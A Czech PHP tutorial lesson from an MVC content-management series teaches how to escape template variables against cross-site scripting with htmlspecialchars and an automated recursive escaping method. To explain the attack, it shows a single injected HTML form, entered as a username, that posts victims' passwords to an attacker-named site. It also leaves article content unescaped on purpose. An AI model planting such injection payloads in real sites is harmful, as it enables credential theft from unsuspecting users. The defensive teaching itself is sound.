Vydělávej až 160.000 Kč měsíčně! Akreditované rekvalifikační kurzy s garancí práce od 0 Kč. Více informací.
Hledáme nové posily do ITnetwork týmu. Podívej se na volné pozice a přidej se do nejagilnější firmy na trhu - Více informací.

Lekce 9 - Zabezpečení šablon

V minulé lekci, Výpis článků z databáze v PHP (MVC), jsme si vypsali článek z databáze.

Abychom mohli jít dále a doprogramovat do redakčního systému funkčnosti jako jsou editor článků nebo přihlašování uživatelů, budeme muset předem doladit několik věcí. Jedná se zejména o zabezpečení šablon, o tom bude dnešní díl.

Útok XSS

Zkusme si v databázi editovat článek uvod a do sloupce titulek vložme tuto hodnotu:

<em> je můj oblíbený tag

Systém zobrazí článek následujícím způsobem:

<em> je můj oblíbený tag
localhost/cla­nek/uvod

Tag <em> v nadpisu není a místo toho je kurzívou. HTML tag se vložil do stránky a prohlížeč ho vykonal. V tomto případě je to jen vada na kráse.

Představte si však, co se stane, když se nějaký uživatel webu pojmenuje takto:

<form action="zlodejhesel.cz">Zadejte heslo znovu: <input type="password" name="heslo"><input type="submit" /></form>

Při výpisu jeho jména systém zobrazí formulář, kam může nic netušící uživatel zadat své heslo, protože si myslí, že ho po něm chce náš web. Heslo samozřejmě přijde útočníkovi na jeho web a on ho může zneužít. Další oblíbenou taktikou je vkládání JavaScriptu, který se snaží např. krást cookies.

Tomuto útoku se říká XSS neboli tzv. cross-site scripting.

Obrana

Řešení problému by nám mělo být známé. Proměnné, ve kterých může být hodnota zadaná uživatelem, před výpisem proženeme funkcí htmlspecialchars(). Ta z HTML tagů udělá nevinné entity, které se poté prohlížečem nespustí. Takto bychom měli ošetřovat všechny proměnné před výpisem. Stejně jako tomu bylo u databáze, u většího programu jednoduše neuhlídáme, co se ve které proměnné může nacházet, proto budeme zabezpečovat všechny. Ještě jednou připomenu, že proměnné ošetřujeme těsně před výpisem a v žádném případě neukládáme entity do databáze, v databázi je vždy původní text, tedy přesně to, co zadal uživatel. Upravujeme až pro výstup. Do databáze patří vždy co nejvíce surová data, která formátuje až aplikace.

První řešení, které by nás napadlo, je vložení funkce htmlspecialchars() do všech pohledů kolem všech proměnných. Můžeme si to zkusit pro pohled clanek:

<header>
    <h1><?= htmlspecialchars($titulek) ?></h1>
</header>
<section>
    <?= htmlspecialchars($obsah) ?>
</section>

Zkuste si, že se škodlivý kód již neprovede, namísto toho se vypíše přesně to, co je v proměnné.

<em> je můj oblíbený tag
localhost/cla­nek/uvod

Co to ale vidíme? Nyní je zpracování HTML tagů vypnuto všude, ale i v článku, kde nefunguje odkaz na konci. Jelikož obsah článku je asi jediné místo, kde chceme vložené HTML tagy zpracovávat, v šabloně ponecháme proměnnou $obsah neošetřenou.

Automatizace

Zeptejme se sami sebe, kolik procent proměnných bude potřeba v šablonách ošetřovat. Velmi pravděpodobně dojdeme k číslu většímu než 90%. Bylo by tedy velmi vhodné tento krok zautomatizovat a nutnost vložení neošetřené proměnné brát jako výjimku. Jelikož v našem MVC frameworku budeme pracovat téměř vždy s asociativními poli, vytvoříme si v abstraktním kontroleru funkci, která toto pole rekurzivně zentituje. Jinými slovy zavolá funkci htmlspecialchars() na všechny stringy v poli $data a pokud je v poli $data vložené nějaké další pole, udělá to samé s ním a tak dále. Otevřeme si ještě jednou Kontroler.php a do třídy Kontroler přidáme metodu osetri():

private function osetri(mixed $x = null): mixed
{
    if (!isset($x))
        return null;
    elseif (is_string($x))
        return htmlspecialchars($x, ENT_QUOTES);
    elseif (is_array($x)) {
        foreach($x as $k => $v) {
            $x[$k] = $this->osetri($v);
        }
        return $x;
    } else
        return $x;
}

Pro neinicializovanou proměnnou vrátíme null, pro řetězec vrátíme jeho zentitovanou hodnotu, pro pole ošetříme rekurzivně všechny jeho prvky, další datové typy vrátíme jak jsou. Samotné volání htmlspecialchars() má ještě parametr ENT_QUOTES, aby ošetřoval i jednoduché uvozovky. Je to tak bezpečnější.

V metodě vypisPohled() nyní upravíme parametry funkce extract tak, aby jí bylo předáno ošetřené pole $data:

extract($this->osetri($this->data));

Máme hotovo, všechny vybalené proměnné v šabloně budou již zentitované. Zbývá nějak vyřešit těch pár případů, kdy je zentitované nechceme (např. onen obsah článku). Funkce extract() nám umožňuje dát proměnným určitý prefix (něco před jejich název), vybalíme si tedy proměnné ještě jednou, tentokrát neošetřené a s nějakým prefixem. Každá proměnná bude v šabloně tedy 2x, jednou pod svým jménem a jednou neošetřená s prefixem. Extract mezi prefix a název proměnné vloží vždy podtržítko "_". Pokud zadáme prefix prázdný, vybalí se proměnné předsazené podtržítkem, což je pro naše účely docela hezké. Přidejme si tedy do metody vypisPohled() ještě jedno vybalení (za první extract()):

extract($this->data, EXTR_PREFIX_ALL, "");

Ještě upravíme šablonu článku, ta bude nyní vypadat minimalisticky a to je přesně to, co se po šabloně chce:

<header>
    <h1><?= $titulek ?></h1>
</header>
<section>
    <?= $_obsah ?>
</section>

Vše je ošetřené proti XSS, čistý obsah se vkládá pouze u článku, kde jsme použili proměnnou $_obsah s podtržítkovým prefixem, tedy neošetřenou.

Vytvořili jsme si tedy extrémně jednoduchý šablonovací systém. Proměnné se vkládají do šablony jednoduše pomocí direktivy <?= $promenna ?>. Vkládá se ošetřená verze proměnné. V případech, kdy potřebujeme neošetřenou, použijeme podtržítkový prefix <?= $_promenna ?>. Náš systém je nyní zabezpečený proti útoku XSS. Dnešní projekt je jako vždy přiložen níže ke stažení.

V příští lekci, Mechanismus zpráv, si naprogramujeme slíbený mechanismus zpráv.


 

Měl jsi s čímkoli problém? Stáhni si vzorovou aplikaci níže a porovnej ji se svým projektem, chybu tak snadno najdeš.

Stáhnout

Stažením následujícího souboru souhlasíš s licenčními podmínkami

Staženo 1950x (15.33 kB)
Aplikace je včetně zdrojových kódů v jazyce PHP

 

Předchozí článek
Výpis článků z databáze v PHP (MVC)
Všechny články v sekci
MVC - Jednoduchý redakční systém v PHP objektově
Přeskočit článek
(nedoporučujeme)
Mechanismus zpráv
Článek pro vás napsal David Hartinger
Avatar
Uživatelské hodnocení:
122 hlasů
David je zakladatelem ITnetwork a programování se profesionálně věnuje 15 let. Má rád Nirvanu, nemovitosti a svobodu podnikání.
Unicorn university David se informační technologie naučil na Unicorn University - prestižní soukromé vysoké škole IT a ekonomie.
Aktivity